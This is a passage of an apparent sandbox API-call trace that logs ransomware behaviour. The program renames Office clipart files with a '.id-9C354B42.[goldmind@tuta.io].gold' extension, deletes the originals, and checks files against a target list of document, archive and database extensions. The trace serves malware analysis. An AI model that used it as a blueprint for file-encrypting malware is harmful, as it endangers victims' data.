lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1d20, lpOverlapped=0x0) returned 1 [0111.254] ReadFile (in: hFile=0x3f0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0111.254] WriteFile (in: hFile=0x3f4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.254] SetEndOfFile (hFile=0x3f4) returned 1 [0111.254] CloseHandle (hObject=0x3f4) returned 1 [0111.254] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0111.254] SetEndOfFile (hFile=0x3f0) returned 1 [0111.256] CloseHandle (hObject=0x3f0) returned 1 [0111.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf")) returned 1 [0111.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0111.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0111.262] lstrlenW (lpString=".doc") returned 4 [0111.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.262] lstrlenW (lpString=".docx") returned 5 [0111.262] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0111.262] lstrlenW (lpString=".pdf") returned 4 [0111.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.263] lstrlenW (lpString=".xls") returned 4 [0111.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.263] lstrlenW (lpString=".xlsx") returned 5 [0111.263] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0111.263] lstrlenW (lpString=".ppt") returned 4 [0111.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0111.263] lstrlenW (lpString=".zip") returned 4 [0111.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.263] lstrlenW (lpString=".rar") returned 4 [0111.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.263] lstrlenW (lpString=".bz2") returned 4 [0111.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.263] lstrlenW (lpString=".7z") returned 3 [0111.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0111.263] lstrlenW (lpString=".dbf") returned 4 [0111.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0111.263] lstrlenW (lpString=".1cd") returned 4 [0111.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0111.263] lstrlenW (lpString=".jpg") returned 4 [0111.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0111.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0111.263] lstrlenW (lpString=".doc") returned 4 [0111.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.263] lstrlenW (lpString=".docx") returned 5 [0111.263] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0111.263] lstrlenW (lpString=".pdf") returned 4 [0111.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.263] lstrlenW (lpString=".xls") returned 4 [0111.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.263] lstrlenW (lpString=".xlsx") returned 5 [0111.263] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0111.263] lstrlenW (lpString=".ppt") returned 4 [0111.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0111.263] lstrlenW (lpString=".zip") returned 4 [0111.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.263] lstrlenW (lpString=".rar") returned 4 [0111.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.263] lstrlenW (lpString=".bz2") returned 4 [0111.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.264] lstrlenW (lpString=".7z") returned 3 [0111.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0111.264] lstrlenW (lpString=".dbf") returned 4 [0111.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0111.264] lstrlenW (lpString=".1cd") returned 4 [0111.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0111.264] lstrlenW (lpString=".jpg") returned 4 [0111.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.264] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0111.264] lstrlenW (lpString="J0172067.WMF") returned 12 [0111.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0111.375] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=7028) returned 1 [0111.375] CloseHandle (hObject=0x3f8) returned 1 [0111.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf")) returned 0x20 [0111.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0112.609] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0112.609] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0112.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0112.687] GetLastError () returned 0x0 [0112.687] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1b74, lpOverlapped=0x0) returned 1 [0112.701] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1b80, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1b80, lpOverlapped=0x0) returned 1 [0112.701] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0112.701] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.701] SetEndOfFile (hFile=0x3ac) returned 1 [0112.702] CloseHandle (hObject=0x3ac) returned 1 [0112.702] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0112.702] SetEndOfFile (hFile=0x198) returned 1 [0112.703] CloseHandle (hObject=0x198) returned 1 [0112.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf")) returned 1 [0112.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0112.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0112.740] lstrlenW (lpString=".doc") returned 4 [0112.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.740] lstrlenW (lpString=".docx") returned 5 [0112.740] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0112.740] lstrlenW (lpString=".pdf") returned 4 [0112.740] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.740] lstrlenW (lpString=".xls") returned 4 [0112.740] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.740] lstrlenW (lpString=".xlsx") returned 5 [0112.740] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0112.740] lstrlenW (lpString=".ppt") returned 4 [0112.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0112.740] lstrlenW (lpString=".zip") returned 4 [0112.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.740] lstrlenW (lpString=".rar") returned 4 [0112.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.740] lstrlenW (lpString=".bz2") returned 4 [0112.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.740] lstrlenW (lpString=".7z") returned 3 [0112.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0112.741] lstrlenW (lpString=".dbf") returned 4 [0112.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0112.741] lstrlenW (lpString=".1cd") returned 4 [0112.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0112.741] lstrlenW (lpString=".jpg") returned 4 [0112.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0112.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0112.741] lstrlenW (lpString=".doc") returned 4 [0112.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.741] lstrlenW (lpString=".docx") returned 5 [0112.741] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0112.741] lstrlenW (lpString=".pdf") returned 4 [0112.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.741] lstrlenW (lpString=".xls") returned 4 [0112.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.741] lstrlenW (lpString=".xlsx") returned 5 [0112.741] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0112.741] lstrlenW (lpString=".ppt") returned 4 [0112.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0112.741] lstrlenW (lpString=".zip") returned 4 [0112.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.741] lstrlenW (lpString=".rar") returned 4 [0112.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.741] lstrlenW (lpString=".bz2") returned 4 [0112.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.741] lstrlenW (lpString=".7z") returned 3 [0112.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0112.741] lstrlenW (lpString=".dbf") returned 4 [0112.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0112.741] lstrlenW (lpString=".1cd") returned 4 [0112.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0112.741] lstrlenW (lpString=".jpg") returned 4 [0112.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.741] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0112.741] lstrlenW (lpString="J0182888.WMF") returned 12 [0112.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0112.742] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=24392) returned 1 [0112.742] CloseHandle (hObject=0x3e0) returned 1 [0112.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf")) returned 0x20 [0112.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0112.743] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0112.743] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0112.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.744] GetLastError () returned 0x0 [0112.744] ReadFile (in: hFile=0x3e0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x5f48, lpOverlapped=0x0) returned 1 [0112.765] WriteFile (in: hFile=0x3ec, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x5f50, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x5f50, lpOverlapped=0x0) returned 1 [0112.766] ReadFile (in: hFile=0x3e0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0112.766] WriteFile (in: hFile=0x3ec, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.766] SetEndOfFile (hFile=0x3ec) returned 1 [0112.766] CloseHandle (hObject=0x3ec) returned 1 [0112.766] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0112.766] SetEndOfFile (hFile=0x3e0) returned 1 [0112.768] CloseHandle (hObject=0x3e0) returned 1 [0112.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf")) returned 1 [0112.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0112.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0112.769] lstrlenW (lpString=".doc") returned 4 [0112.769] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.769] lstrlenW (lpString=".docx") returned 5 [0112.769] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0112.769] lstrlenW (lpString=".pdf") returned 4 [0112.769] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.769] lstrlenW (lpString=".xls") returned 4 [0112.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.769] lstrlenW (lpString=".xlsx") returned 5 [0112.769] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0112.769] lstrlenW (lpString=".ppt") returned 4 [0112.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0112.769] lstrlenW (lpString=".zip") returned 4 [0112.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.769] lstrlenW (lpString=".rar") returned 4 [0112.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.770] lstrlenW (lpString=".bz2") returned 4 [0112.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.770] lstrlenW (lpString=".7z") returned 3 [0112.770] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0112.770] lstrlenW (lpString=".dbf") returned 4 [0112.770] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0112.770] lstrlenW (lpString=".1cd") returned 4 [0112.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0112.770] lstrlenW (lpString=".jpg") returned 4 [0112.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0112.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0112.770] lstrlenW (lpString=".doc") returned 4 [0112.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.770] lstrlenW (lpString=".docx") returned 5 [0112.770] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0112.770] lstrlenW (lpString=".pdf") returned 4 [0112.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.770] lstrlenW (lpString=".xls") returned 4 [0112.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.770] lstrlenW (lpString=".xlsx") returned 5 [0112.770] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0112.770] lstrlenW (lpString=".ppt") returned 4 [0112.770] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0112.770] lstrlenW (lpString=".zip") returned 4 [0112.770] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.770] lstrlenW (lpString=".rar") returned 4 [0112.770] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.770] lstrlenW (lpString=".bz2") returned 4 [0112.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.770] lstrlenW (lpString=".7z") returned 3 [0112.770] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0112.770] lstrlenW (lpString=".dbf") returned 4 [0112.770] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0112.770] lstrlenW (lpString=".1cd") returned 4 [0112.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0112.770] lstrlenW (lpString=".jpg") returned 4 [0112.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.770] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0112.770] lstrlenW (lpString="J0182902.WMF") returned 12 [0112.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0112.771] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=7822) returned 1 [0112.771] CloseHandle (hObject=0x3e0) returned 1 [0112.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf")) returned 0x20 [0112.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0112.772] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0112.772] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0112.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.772] GetLastError () returned 0x0 [0112.772] ReadFile (in: hFile=0x3e0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1e8e, lpOverlapped=0x0) returned 1 [0112.802] WriteFile (in: hFile=0x3ec, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1e90, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1e90, lpOverlapped=0x0) returned 1 [0112.802] ReadFile (in: hFile=0x3e0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0112.803] WriteFile (in: hFile=0x3ec, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.803] SetEndOfFile (hFile=0x3ec) returned 1 [0112.803] CloseHandle (hObject=0x3ec) returned 1 [0112.803] SetFilePointerEx (in: 